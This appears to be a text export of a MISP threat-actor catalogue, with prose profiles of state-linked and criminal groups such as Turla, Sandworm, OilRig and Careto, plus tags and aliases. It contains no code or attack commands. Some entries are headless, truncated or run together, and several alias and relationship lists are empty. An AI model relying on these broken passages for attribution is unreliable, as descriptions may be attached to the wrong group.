SeaDuke, CloudDuke (aka MiniDionis), and HammerDuke (aka Hammertoss).'

The tag is: misp-galaxy:threat-actor="APT 29"

**Turla Group**

A 2014 Guardian article described Turla as: 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much -
documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took. Kaspersky Lab, however, picked up a number of the attackers searches through their victims’ emails, which included terms such as Nato and EU energy dialogue. Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantec’s Gavin O’Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.

Sandworm

This threat actor targets industrial control systems, using a tool called Black Energy, associated with electricity and power generation for espionage, denial of service, and data destruction purposes. Some believe that the threat actor is linked to the 2015 compromise of the Ukrainian electrical grid and a distributed denial of service prior to the Russian invasion of Georgia. Believed to be responsible for the 2008 DDoS attacks in Georgia and the 2015 Ukraine power grid outage

The tag is: misp-galaxy:threat-actor="Sandworm"

**TeleBots**

We will refer to the gang behind the malware as TeleBots. However it’s important to say that these attackers, and the toolset used, share a number of similarities with the BlackEnergy group, which conducted attacks against the energy industry in Ukraine in December 2015 and January 2016. In
fact, we think that the BlackEnergy group has evolved into the TeleBots group. TeleBots appear to be associated with Sandworm Team, Iron Viking, Voodoo Bear.

- Carbon Spider
- FIN7

Anunak has relationships with:

- similar: *misp-galaxy:mitre-intrusion-set*="FIN7 - G0046" with *estimative-language:likelihood-probability*="likely"
Researchers have uncovered a long-term cyber-espionage campaign that used a combination of legitimate software packages and commodity malware tools to target a variety of heavy industry,
government intelligence agencies and political activists. Known as the TeamSpy crew because of its affinity for using the legitimate TeamViewer application as part of its toolset, the attackers may have been active for as long as 10 years, researchers say. The attack appears to be a years-long espionage campaign, but experts who have analyzed the victim profile, malware components and command-and-control infrastructure say that it’s not entirely clear what kind of data the attackers are going after. What is clear, though, is that the attackers have been at this for a long time and that they have specific people in mind as targets. Researchers at the CrySyS Lab in Hungary were alerted by the Hungarian National Security Authority to an attack against a high-profile target in the country and began looking into the campaign. They quickly discovered that some of the infrastructure being used in the attack had been in use for some time and that the target they were investigating was by no means the only one.

**BuhTrap**

Buhtrap has been active since 2014, however their first attacks against financial institutions were only detected in August 2015. Earlier, the group had only focused on targeting banking clients. At the moment, the group is known to target Russian and Ukrainian banks. From August 2015 to February 2016 Buhtrap managed to conduct 13 successful attacks against Russian banks for a total amount of 1.8 billion rubles ($25.7 mln). The number of successful attacks against Ukrainian banks has not been identified. Buhtrap is the first hacker group using a network worm to infect the overall bank infrastructure that significantly increases the difficulty of removing all malicious
functions from the network. As a result, banks have to shut down the whole infrastructure which provokes delay in servicing customers and additional losses. Malicious programs intentionally scan for machines with an automated Bank-Customer system of the Central Bank of Russia (further referred to as BCS CBR). We have not identified incidents of attacks involving online money transfer systems, ATM machines or payment gates which are known to be of interest for other criminal groups.

SNOWGLOBE

In 2014, researchers at Kaspersky Lab discovered and reported on three zero-days that were being used in cyberattacks in the wild. Two of these zero-day vulnerabilities are associated with an advanced threat actor we call Animal Farm. Over the past few years, Animal Farm has targeted a wide range of global organizations. The group has been active since at least 2009 and there are signs that earlier malware versions were developed as far back as 2007.

Deadeye Jackal

The Syrian Electronic Army (SEA) is a group of computer hackers which first surfaced online in 2011 to support the government of Syrian President Bashar al-Assad. Using spamming, website defacement, malware, phishing, and denial of service attacks, it has targeted political opposition groups, western news organizations, human rights groups and websites that are seemingly neutral to the Syrian conflict. It has also hacked government websites in the Middle East and Europe, as well as US defense contractors. As of 2011 the SEA has been the first Arab country to have a public Internet Army hosted on its national networks to openly launch cyber attacks on its enemies. The precise nature of SEA’s relationship with the Syrian government has changed over time and is unclear.

**HummingBad**

This group created a malware that takes over Android devices and generates $300,000 per month in fraudulent ad revenue. The group effectively controls an arsenal of over 85 million mobile devices around the world. With the potential to sell access to these devices to the highest bidder
Dropping Elephant

Dropping Elephant (also known as “Chinastrats” and “Patchwork”) is a relatively new threat actor that is targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools. Its victims are all involved with China’s foreign relations in some way, and are generally caught through spear-phishing or watering hole attacks.

Dropping Elephant is also known as:

- Chinastrats
- Patchwork
- Monsoon
- Sarit
- Quilted Tiger
- APT-C-09

Dropping Elephant has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Patchwork" - G0040 with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="MONSOON" - G0042 with estimative-language:likelihood-probability="likely"
Scarlet Mimic

Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, APT 2, it has not been concluded that the groups are the same. The attacks began over four years ago and their targeting pattern suggests that this adversary's primary mission is to gather information about minority rights activists. We do not have evidence directly linking these attacks to a government source, but the information derived from these activities supports an assessment that a group or groups with motivations similar to the stated position of the Chinese government in relation to these targets is involved. The attacks we attribute to Scarlet Mimic have primarily targeted Uyghur and Tibetan activists as well as those who are interested in their causes. Both the Tibetan community and the Uyghurs, a Turkic Muslim minority residing primarily in northwest China, have been targets of multiple sophisticated attacks in the past decade. Both also have history of strained relationships with the government of the People's Republic of China (PRC), though we do not have evidence that links Scarlet Mimic attacks to the PRC. Scarlet Mimic attacks have also been identified against government organizations in Russia and India, who are responsible for tracking activist and terrorist activities. While we do not know the precise target of each of the Scarlet Mimic attacks, many of them align to the patterns described above.

The tag is: misp-galaxy:threat-actor="Scarlet Mimic"

Scarlet Mimic has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Scarlet Mimic - G0029" with estimative-language:likelihood-probability="likely"

ProjectSauron

ProjectSauron is the name for a top level modular cyber-espionage platform, designed to enable and manage long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods. Technical details show how attackers learned from other extremely advanced actors in order to avoid repeating their mistakes. As such, all artifacts are customized per given target, reducing their value as indicators of compromise for any other victim. Usually APT campaigns have a geographical nexus, aimed at extracting information within a specific region or from a given industry. That usually results in several infections in countries within that region, or in the targeted industry around the world. Interestingly, ProjectSauron seems to be dedicated to just a couple of countries, focused on collecting high value intelligence by compromising almost all key entities it could possibly reach within the target area. The name, ProjectSauron reflects the fact that the code authors refer to ‘Sauron’ in the Lua scripts.

The tag is: `misp-galaxy:threat-actor="ProjectSauron"`

</table>
OilRig

OilRig is an Iranian threat group operating primarily in the Middle East by targeting organizations in this region that are in a variety of different industries; however, this group has occasionally targeted organizations outside of the Middle East as well. It also appears OilRig carries out supply chain attacks, where the threat group leverages the trust relationship between organizations to attack their primary targets.

OilRig is an active and organized threat group, which is evident based on their systematic targeting of specific organizations that appear to be carefully chosen for strategic purposes. Attacks attributed to this group primarily rely on social engineering to exploit the human rather than software vulnerabilities; however, on occasion this group has used recently patched vulnerabilities in the delivery phase of their attacks. The lack of software vulnerability exploitation does not necessarily suggest a lack of sophistication, as OilRig has shown maturity in other aspects of their operations. Such maturities involve:

- Organized evasion testing used during the development of their tools.
- Use of custom DNS Tunneling protocols for command and control (C2) and data exfiltration.
- Custom web-shells and backdoors used to persistently access servers.

OilRig relies on stolen account credentials for lateral movement. After OilRig gains access to a system, they use credential dumping tools, such as Mimikatz, to steal credentials to accounts logged into the compromised system. The group uses these credentials to access and to move laterally to other systems on the network. After obtaining credentials from a system, operators in this group prefer to use tools other than their backdoors to access the compromised systems, such as remote desktop and putty. OilRig also uses phishing sites to harvest credentials to individuals at targeted organizations to gain access to internet accessible resources, such as Outlook Web Access.

The tag is: `misp-galaxy:threat-actor="OilRig"`

OilRig is also known as:

Molerats

In October 2012, malware attacks against Israeli government targets grabbed media attention as officials temporarily cut off Internet access for its entire police force and banned the use of USB memory sticks. Security researchers subsequently linked these attacks to a broader, yearlong campaign that targeted not just Israelis but Palestinians as well and as discovered later, even the U.S. and UK governments. Further research revealed a connection between these attacks and members of the so-called “Gaza Hackers Team.” We refer to this campaign as “Molerats.”

The tag is: `misp-galaxy:threat-actor="Molerats"`

Molerats is also known as:

- Gaza Hackers Team
- Gaza cybergang
- Gaza Cybergang

PROMETHIUM

PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.

The tag is: misp-galaxy:threat-actor="PROMETHIUM"

PROMETHIUM is also known as:

**Cadelle**

Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014, however, it’s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people.

**PassCV**

The PassCV group continues to be one of the most successful and active threat groups that leverage a wide array of stolen Authenticode-signing certificates. Snorre Fagerland of Blue Coat Systems first coined the term PassCV in a blog post. His post provides a good introduction to the group and
covers some of the older infrastructure, stolen code-signing certificate reuse, and other connections associated with the PassCV malware. There are several clues alluding to the possibility that multiple groups may be utilizing the same stolen signing certificates, but at this time SPEAR believes the current attacks are more likely being perpetrated by a single group employing multiple publicly available Remote Administration Tools (RATs). The PassCV group has been operating with continued success and has already started to expand their malware repertoire into different off-the-shelf RATs and custom code. SPEAR identified eighteen previously undisclosed stolen Authenticode certificates. These certificates were originally issued to companies and individuals scattered across China, Taiwan, Korea, Europe, the United States and Russia. In this post we expand the usage of the term ‘PassCV’ to encompass the malware mentioned in the Blue Coat Systems report, as well as the APT group behind the larger C2 infrastructure and stolen Authenticode certificates. We’d like to share some of our findings as they pertain to the stolen certificates, command and control infrastructure, and some of the newer custom RATs they’ve begun development on.

**Sath-ı Müdafaa**

A Turkish hacking group, Sath-ı Müdafaa, is encouraging individuals to join its DDoS-for-Points platform that features points and prizes for carrying out distributed denial-of-service (DDoS) attacks against a list of predetermined targets. Their DDoS tool also contains a backdoor to hack the hackers. So the overarching motivation and allegiance of the group is not entirely clear.

The tag is: `misp-galaxy:threat-actor="Sath-ı Müdafaa"`

**Aslan Neferler Tim**

Turkish nationalist hacktivist group that has been active for roughly one year. According to Domaintools, the group’s site has been registered since December 2015, with an active Twitter account since January 2016. The group carries out distributed denial-of-service (DDoS) attacks and defacements against the sites of news organizations and governments perceived to be critical of Turkey’s policies or leadership, and purports to act in defense of Islam.

The tag is: `misp-galaxy:threat-actor="Aslan Neferler Tim"`

Aslan Neferler Tim is also known as:

- Lion Soldiers Team
- Phantom Turk
Ayyıldız Tim

Ayyıldız (Crescent and Star) Tim is a nationalist hacking group founded in 2002. It performs defacements and DDoS attacks against the websites of governments that it considers to be repressing Muslim minorities or engaged in Islamophobic policies.

The tag is: misp-galaxy:threat-actor="Ayyıldız Tim"

Ayyıldız Tim is also known as:

• Crescent and Star

TurkHackTeam

Founded in 2004, Turkhackteam is one of Turkey’s oldest and most high-profile hacking collectives. According to a list compiled on Turkhackteam’s forum, the group has carried out almost 30 highly publicized hacking campaigns targeting foreign government and commercial websites, including websites of international corporations.

The tag is: misp-galaxy:threat-actor="TurkHackTeam"

TurkHackTeam is also known as:

Gamaredon Group

Unit 42 threat researchers have recently observed a threat group distributing new, custom developed malware. We have labelled this threat group the Gamaredon Group and our research shows that the Gamaredon Group has been active since at least 2013. In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group have improved their technical capabilities.

The tag is: `misp-galaxy:threat-actor="Gamaredon Group"

Gamaredon Group has relationships with:

Hammer Panda is also known as:

- Zhenbao
- TEMP.Zhenbao

Infy

Infy is a group of suspected Iranian origin. Since early 2013, we have observed activity from a unique threat actor group, which we began to investigate based on increased activities against human right activists in the beginning of 2015. In line with other research on the campaign, released prior to publication of this document, we have adopted the name “Infy”, which is based on labels used in the infrastructure and its two families of malware agents. Thanks to information we have been able to collect during the course of our research, such as characteristics of the group’s malware and development cycle, our research strongly supports the claim that the Infy group is of Iranian origin and potentially connected to the Iranian state. Amongst a backdrop of other incidents, Infy became one of the most frequently observed agents for attempted malware attacks against Iranian civil society beginning in late 2014, growing in use up to the February 2016 parliamentary election in Iran. After the conclusion of the parliamentary election, the rate of attempted intrusions and new compromises through the Infy agent slowed, but did not end. The trends witnessed in reports from recipients are reinforced through telemetry provided by design failures in more recent versions of the Infy malware.

The tag is: `misp-galaxy:threat-actor="Infy"`

Infy is also known as:

- Operation Mermaid
Sima

Sima is a group of suspected Iranian origin targeting Iranians in diaspora. In February 2016, Iran-focused individuals received messages purporting to be from Human RightsWatch’s (HRW) Emergencies Director, requesting that they read an article about Iran pressuring Afghans to fight in Syria. While referencing a real report published by HRW, the links provided for the Director’s biography and article directed the recipient to malware hosted elsewhere. These spear-phishing attempts represent an evolution of Iranian actors based on their social engineering tactics and narrow targeting. Although the messages still had minor grammatical and stylistic errors that would be obvious to a native speaker, the actors demonstrated stronger English-language proficiency than past intrusion sets and a deeper investment in background research prior to the attempt. The actors appropriated a real identity that would be expected to professionally interact with the subject, then offered validation through links to their biography and social media, the former of which itself was malware as well. The bait documents contained a real article relevant to their interests and topic referenced, and the message attempted to address to how it aligned with their professional research or field of employment. The referenced documents sent were malware binaries posing as legitimate files using the common right-to-left filenames tactic in order to conceal the actual file extension. All of these techniques, while common pretexting mechanisms, are a refinement compared to a tendency amongst other groups to simply continually send different forms of generic malware or phishing, in the hopes that one would eventually be successful.

**Longhorn**

Longhorn has been active since at least 2011. It has used a range of back door Trojans in addition to zero-day vulnerabilities to compromise its targets. Longhorn has infiltrated governments and internationally operating organizations, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors. All of the organizations targeted would be of interest to a nation-state attacker. Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia, and Africa. On one occasion a computer in the United States was compromised but, following infection, an uninstaller was launched within hours, which may indicate this victim was infected unintentionally. According to cfr, this threat actor compromises governments, international organizations, academic institutions, and financial, telecommunications, energy, aerospace, information technology, and natural resource industries for espionage purposes. Some of the tools used by this threat actor were released by Wikileaks under the name "Vault 7."

**WildNeutron**

A corporate espionage group has compromised a string of major corporations over the past three years in order to steal confidential information and intellectual property. The gang, which Symantec calls Butterfly, is not-state sponsored, rather financially motivated. It has attacked multi-billion dollar companies operating in the internet, IT software, pharmaceutical, and commodities
sectors. Twitter, Facebook, Apple, and Microsoft are among the companies who have publicly acknowledged attacks. Butterfly is technically proficient and well resourced. The group has developed a suite of custom malware tools capable of attacking both Windows and Apple computers, and appears to have used at least one zero-day vulnerability in its attacks. It keeps a low profile and maintains good operational security. After successfully compromising a target organization, it cleans up after itself before moving on to its next target. This group operates at a much higher level than the average cybercrime gang. It is not interested in stealing credit card details or customer databases and is instead focused on high-level corporate information. Butterfly may be selling this information to the highest bidder or may be operating as hackers for hire. Stolen information could also be used for insider-trading purposes.

The tag is: *misp-galaxy:threat-actor="WildNeutron"

WildNeutron is also known as:

**PLATINUM**

PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group’s persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly...
resilient threat.

RASPITE

Dragos has identified a new activity group targeting access operations in the electric utility sector. We call this activity group RASPITE. Analysis of RASPITE tactics, techniques, and procedures (TTPs) indicate the group has been active in some form since early- to mid-2017. RASPITE targeting includes entities in the US, Middle East, Europe, and East Asia. Operations against electric utility organizations appear limited to the US at this time. RASPITE leverages strategic website compromise to gain initial access to target networks. RASPITE uses the same methodology as DYMALLOY and ALLANITE in embedding a link to a resource to prompt an SMB connection, from which it harvests Windows credentials. The group then deploys install scripts for a malicious service to beacon back to RASPITE-controlled infrastructure, allowing the adversary to remotely access the victim machine.

APT5

We have observed one APT group, which we call APT5, particularly focused on telecommunications and technology companies. More than half of the organizations we have observed being targeted or breached by APT5 operate in these sectors. Several times, APT5 has targeted organizations and personnel based in Southeast Asia. APT5 has been active since at least 2007. It appears to be a large threat group that consists of several subgroups, often with distinct tactics and infrastructure. APT5 has targeted or breached organizations across multiple industries, but its focus appears to be on telecommunications and technology companies, especially information about satellite communications. APT5 targeted the network of an electronics firm that sells products for both industrial and military applications. The group subsequently stole communications related to the firm’s business relationship with a national military, including inventories and memoranda about
specific products they provided. In one case in late 2014, APT5 breached the network of an international telecommunications company. The group used malware with keylogging capabilities to monitor the computer of an executive who manages the company's relationships with other telecommunications companies.

**Madi**

Kaspersky Lab and Seculert worked together to sinkhole the Madi Command & Control (C&C) servers to monitor the campaign. Kaspersky Lab and Seculert identified more than 800 victims located in Iran, Israel and select countries across the globe connecting to the C&Cs over the past eight months. Statistics from the sinkhole revealed that the victims were primarily business people working on Iranian and Israeli critical infrastructure projects, Israeli financial institutions, Middle Eastern engineering students, and various government agencies communicating in the Middle East. Common applications and websites that were spied on include accounts on Gmail, Hotmail, Yahoo! Mail, ICQ, Skype, Google+, and Facebook. Surveillance is also performed over integrated ERP/CRM systems, business contracts, and financial management systems.

**Snake Wine**

While investigating some of the smaller name servers that APT28/Sofacy routinely use to host their infrastructure, Cylance discovered another prolonged campaign that appeared to exclusively target Japanese companies and individuals that began around August 2016. The later registration style
was eerily close to previously registered APT28 domains, however, the malware used in the attacks did not seem to line up at all. During the course of our investigation, JPCERT published this analysis of one of the group's backdoors. Cylance tracks this threat group internally as ‘Snake Wine’. The Snake Wine group has proven to be highly adaptable and has continued to adopt new tactics in order to establish footholds inside victim environments. The exclusive interest in Japanese government, education, and commerce will likely continue into the future as the group is just starting to build and utilize their existing current attack infrastructure.

The tag is: misp-galaxy:threat-actor="Snake Wine"

---

**Careto**

This threat actor targets governments, diplomatic missions, private companies in the energy sector, and academics for espionage purposes. The Mask is an advanced threat actor that has been involved in cyber-espionage operations since at least 2007. The name "Mask" comes from the Spanish slang word "Careto" (“Ugly Face” or “Mask”) which the authors included in some of the malware modules. More than 380 unique victims in 31 countries have been observed to date. What makes “The Mask” special is the complexity of the toolset used by the attackers. This includes an extremely sophisticated malware, a rootkit, a bootkit, 32-and 64-bit Windows versions, Mac OS X and Linux versions and possibly versions for Android and iPad/iPhone (Apple iOS).

The tag is: misp-galaxy:threat-actor="Careto"

Careto is also known as:

- The Mask
- Mask
- Ugly Face

Group 27

Arbor’s ASERT team is now reporting that, after looking deeper at that particular campaign, and by exposing a new trail in the group’s activities, they managed to identify a new RAT that was undetectable at that time by most antivirus vendors. Named Trochilus, this new RAT was part of Group 27’s malware portfolio that included six other malware strains, all served together or in different combinations, based on the data that needed to be stolen from each victim. This collection of malware, dubbed the Seven Pointed Dagger by ASERT experts, included two different PlugX versions, two different Trochilus RAT versions, one version of the 3012 variant of the 9002 RAT, one EvilGrab RAT version, and one unknown piece of malware, which the team has not entirely decloaked just yet.

APT 6

The FBI issued a rare bulletin admitting that a group named Advanced Persistent Threat 6 (APT6) hacked into US government computer systems as far back as 2011 and for years stole sensitive data. The FBI alert was issued in February and went largely unnoticed. Nearly a month later, security experts are now shining a bright light on the alert and the mysterious group behind the attack. “This is a rare alert and a little late, but one that is welcomed by all security vendors as it offers a chance to mitigate their customers and also collaborate further in what appears to be an ongoing FBI investigation,” said Deepen Desai, director of security research at the security firm Zscaler in an email to Threatpost. Details regarding the actual attack and what government systems were infected are scant. Government officials said they knew the initial attack occurred in 2011, but are unaware of who specifically is behind the attacks. “Given the nature of malware payload involved and the duration of this compromise being unnoticed – the scope of lateral movement inside the compromised network is very high possibly exposing all the critical systems,” Deepen said.

White Bear

As a part of our Kaspersky APT Intelligence Reporting subscription, customers received an update in mid-February 2017 on some interesting APT activity that we called WhiteBear. Much of the contents of that report are reproduced here. WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another private intelligence report “Skipper Turla – the White Atlas framework” from mid-2016. Like previous Turla activity, WhiteBear leverages compromised websites and hijacked satellite connections for command and control (C2) infrastructure. As a matter of fact, WhiteBear infrastructure has overlap with other Turla campaigns, like those deploying Kopiluwak, as documented in “KopiLuwak – A New JavaScript..."
Payload from Turla” in December 2016. WhiteBear infected systems maintained a dropper (which was typically signed) as well as a complex malicious platform which was always preceded by WhiteAtlas module deployment attempts. However, despite the similarities to previous Turla campaigns, we believe that WhiteBear is a distinct project with a separate focus. We note that this observation of delineated target focus, tooling, and project context is an interesting one that also can be repeated across broadly labeled Turla and Sofacy activity. From February to September 2016, WhiteBear activity was narrowly focused on embassies and consular operations around the world. All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations. Continued WhiteBear activity later shifted to include defense-related organizations into June 2017. When compared to WhiteAtlas infections, WhiteBear deployments are relatively rare and represent a departure from the broader Skipper Turla target set. Additionally, a comparison of the WhiteAtlas framework to WhiteBear components indicates that the malware is the product of separate development efforts. WhiteBear infections appear to be preceded by a condensed spearphishing dropper, lack Firefox extension installer payloads, and contain several new components signed with a new code signing digital certificate, unlike WhiteAtlas incidents and modules.

Microcin

We’re already used to the fact that complex cyberattacks use 0-day vulnerabilities, bypassing digital signature checks, virtual file systems, non-standard encryption algorithms and other tricks. Sometimes, however, all of this may be done in much simpler ways, as was the case in the malicious campaign that we detected a while ago – we named it ‘Microcin’ after microini, one of the malicious components used in it.

The tag is: `misp-galaxy:threat-actor="Microcin"`
Dark Caracal

Lookout and Electronic Frontier Foundation (EFF) have discovered Dark Caracal, a persistent and prolific actor, who at the time of writing is believed to be administered out of a building belonging to the Lebanese General Security Directorate in Beirut. At present, we have knowledge of hundreds of gigabytes of exfiltrated data, in 21+ countries, across thousands of victims. Stolen data includes enterprise intellectual property and personally identifiable information.

The tag is: `misp-galaxy:threat-actor="Dark Caracal"`

Nexus Zeta

Nexus Zeta is no stranger when it comes to implementing SOAP related exploits. The threat actor has already been observed in implementing two other known SOAP related exploits, CVE-2014–8361 and CVE-2017–17215 in his Satori botnet project. A third SOAP exploit, TR-069 bug has also been observed previously in IoT botnets. This makes EDB 38722 the fourth SOAP related exploit which is discovered in the wild by IoT botnets.

The tag is: `misp-galaxy:threat-actor="Nexus Zeta"`

APT37

APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea. In 2017, APT37 expanded its targeting beyond the Korean peninsula to include Japan, Vietnam and the Middle East, and to a wider range of industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive and healthcare entities.

**APT34**

Since at least 2014, an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran. The group conducts operations primarily in the Middle East, targeting financial, government, energy, chemical, telecommunications and other industries. Repeated targeting of Middle Eastern financial, energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34. The use of infrastructure tied to Iranian operations, timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government.

The tag is: `misp-galaxy:threat-actor="APT34"`

APT34 is also known as:

### APT35

FireEye has identified APT35 operations dating back to 2014. APT35, also known as the Newscaster Team, is a threat group sponsored by the Iranian government that conducts long term, resource-intensive operations to collect strategic intelligence. APT35 typically targets U.S. and the Middle Eastern military, diplomatic and government personnel, organizations in the media, energy and defense industrial base (DIB), and engineering, business services and telecommunications sectors.

The tag is: misp-galaxy:threat-actor="APT35"

APT35 is also known as:

- APT 35
- Newscaster Team

### Orangeworm

Symantec has identified a previously unknown group called Orangeworm that has been observed installing a custom backdoor called Trojan.Kwampirs within large international corporations that operate within the healthcare sector in the United States, Europe, and Asia. First identified in January 2015, Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims. Known victims include healthcare providers, pharmaceuticals, IT solution providers for healthcare and equipment manufacturers that serve the healthcare industry, likely for the purpose of corporate espionage.

The tag is: misp-galaxy:threat-actor="Orangeworm"
ALLANITE

Adversaries abusing ICS (based on Dragos Inc adversary list). ALLANITE accesses business and industrial control (ICS) networks, conducts reconnaissance, and gathers intelligence in United States and United Kingdom electric utility sectors. Dragos assesses with moderate confidence that ALLANITE operators continue to maintain ICS network access to: (1) understand the operational environment necessary to develop disruptive capabilities, (2) have ready access from which to disrupt electric utilities. ALLANITE uses email phishing campaigns and compromised websites called watering holes to steal credentials and gain access to target networks, including collecting and distributing screenshots of industrial control systems. ALLANITE operations limit themselves to information gathering and have not demonstrated any disruptive or damaging capabilities. ALLANITE conducts malware-less operations primarily leveraging legitimate and available tools in the Windows operating system.

The tag is: *misp-galaxy:threat-actor="ALLANITE"*

ALLANITE is also known as:

- Palmetto Fusion
- Allanite

---

CHRYSENE

Adversaries abusing ICS (based on Dragos Inc adversary list). This threat actor targets organizations involved in oil, gas, and electricity production, primarily in the Gulf region, for espionage purposes. According to one cybersecurity company, the threat actor “compromises a target machine and passes it off to another threat actor for further exploitation.”

The tag is: *misp-galaxy:threat-actor="CHRYSENE"*

CHRYSENE is also known as:

- OilRig
- Greenbug
CHRYSENE has relationships with:

2511
The Rancor group’s attacks use two primary malware families which are naming DDKONG and PLAINTEE. DDKONG is used throughout the campaign and PLAINTEE appears to be a new addition to these attackers’ toolkit. Countries Unit 42 has identified as targeted by Rancor with these malware families include, but are not limited to Singapore and Cambodia.

The tag is: `misp-galaxy:threat-actor="RANCOR"`

RANCOR is also known as:

- Rancor group
- Rancor
- Rancor Group

The Big Bang

While it is not clear exactly what the attacker is looking for, what is clear is that once he finds it, a second stage of the attack awaits, fetching additional modules and/or malware from the Command and Control server. This then is a surveillance attack in progress and has been dubbed ‘Big Bang’ due to the attacker’s fondness for the ‘Big Bang Theory’ TV show, after which some of the malware’s modules are named.

The tag is: `misp-galaxy:threat-actor="The Big Bang"`

Subaat

In mid-July, Palo Alto Networks Unit 42 identified a small targeted phishing campaign aimed at a government organization. While tracking the activities of this campaign, we identified a repository of additional malware, including a web server that was used to host the payloads used for both this attack as well as others.

The tag is: `misp-galaxy:threat-actor="Subaat"`
Unit 42 researchers have been tracking Subaat, an attacker, since 2017. Recently Subaat drew our attention due to renewed targeted attack activity. Part of monitoring Subaat included realizing the actor was possibly part of a larger crew of individuals responsible for carrying out targeted attacks against worldwide governmental organizations. Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec, in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking, which we are calling Gorgon Group.

The tag is: *misp-galaxy:threat-actor=*"The Gorgon Group"

The Gorgon Group is also known as:

- Gorgon Group
- Subaat

In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. This attack diverged from previous attacks we observed from this group as it involved spear-phishing emails sent to targeted organizations with password protected RAR archive attachments that contained malicious Excel Web Query files (.iqy).

The tag is: *misp-galaxy:threat-actor=*"DarkHydrus"

DarkHydrus is also known as:

- LazyMeerkat
RedAlpha

Recorded Future's Insikt Group has identified two new cyberespionage campaigns targeting the Tibetan Community over the past two years. The campaigns, which we are collectively naming RedAlpha, combine light reconnaissance, selective targeting, and diverse malicious tooling. We discovered this activity as the result of pivoting off of a new malware sample observed targeting the Tibetan community based in India.

The tag is: misp-galaxy:threat-actor="RedAlpha"

APT-C-35

In March 2017, the 360 Chasing Team found a sample of targeted attacks that confirmed the previously unknown sample of APT's attack actions, which the organization can now trace back at least in April 2016. The chasing team named the attack organization APT-C-35. In June 2017, the 360 Threat Intelligence Center discovered the organization's new attack activity, confirmed and exposed the gang's targeted attacks against Pakistan, and analyzed in detail. The unique EHDevel malicious code framework used by the organization

The tag is: misp-galaxy:threat-actor="APT-C-35"

APT-C-35 is also known as:

- DoNot Team
- Donot Team
- APT-C-35
TempTick

This threat actor targets organizations in the finance, defense, aerospace, technology, health-care, and automotive sectors and media organizations in East Asia for the purpose of espionage. Believed to be responsible for the targeting of South Korean actors prior to the meeting of Donald J. Trump and Kim Jong-un

The tag is: `misp-galaxy:threat-actor="TempTick"

Operation Parliament

